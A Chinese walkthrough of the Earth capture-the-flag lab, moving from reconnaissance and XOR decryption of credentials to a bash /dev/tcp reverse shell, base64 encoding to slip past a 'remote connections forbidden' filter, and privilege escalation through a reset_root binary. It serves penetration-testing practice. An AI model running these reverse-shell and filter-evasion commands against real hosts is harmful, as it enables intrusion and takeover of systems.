Earth靶场练习

kali: 192.168.253.129

靶机:192.168.253.128

信息搜集:

全端口详细扫描::

nmap -sS -sV -A -T4 -p- 192.168.253.128

访问http:

需要改一下:

vim /etc/hosts

继续访问!

earth.local
terratest.earth.local

爆破目录:

发现一个登录页面:

尝试爆破另一个:

访问robots.txt

尝试访问这个 隐藏后缀名的文件 爆破->txt

测试安全消息系统注意事项:
*使用XOR加密作为算法,应该和RSA中使用的一样安全。
*地球已确认已收到我们发送的消息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做:
*我们如何安全地将每月的密钥发送到地球?或者我们应该每周更换一次钥匙?
*需要测试不同的密钥长度以防止暴力破解。钥匙应该多长?
*需要改进消息界面和管理面板的界面,目前还很基础。

加密算法是XOR,用户名是terra

访问https://terratest.earth.local/testdata.txt

根据放射性测年和其他证据估计,地球形成于 45 亿年前。在地球历史的前 10 亿年中,生命出现在海洋中,并开始影响地球大气和表面,导致厌氧生物大量繁殖,后来又出现了好氧生物。一些地质证据表明,生命可能早在 41 亿年前就出现了。

无有效信息

或许要解密这个信息:

import binascii

entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."

# 将 pass_txt 转换成16进制表示形式
pass_txt_16 = binascii.b2a_hex(pass_txt.encode('utf-8')).decode('utf-8')
# 进行异或操作
result = hex(int(entry_str, 16) ^ int(pass_txt_16, 16)).replace('0x', '')
# 将运算结果转换成字符串
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

得到重复的字符串

这个就应该是账户和密码了

terra
earthclimatechangebad4humans

尝试登录:登录成功 看样子是个rce

尝试写入木马->不行

只能 反弹shell

kali监听9999端口:

nc -lvvp 9999

尝试:bash -c 'exec bash -i &>/dev/tcp/192.168.253.129/9999 <&1'

命令被禁止

Remote connections are forbidden.

使用base64编码:

使用这个命令查看base64加密后的结果:

echo "bash -i &>/dev/tcp/192.168.253.129/9999 <&1" | base64

YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMjUzLjEyOS85OTk5IDwmMQo=

将刚才加密的密文进行解密,在刚才界面去执行这段代码

echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMjUzLjEyOS85OTk5IDwmMQo= | base64 -d | bash

成功反弹!

据大佬说:

reset_root文件是对root密码的管理

我们查看这个文件

cat /usr/bin/reset_root

找了好久!

发现密码: Earth

su root 登录失败

将这个文件传到kali

nc 192.168.253.129 2222 < usr/bin/reset_root

加权限在用工具ltrace运行:

chmod +x reset_root
ltrace ./reset_root

创建三个文件:

再次运行reset_root

提权成功!

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值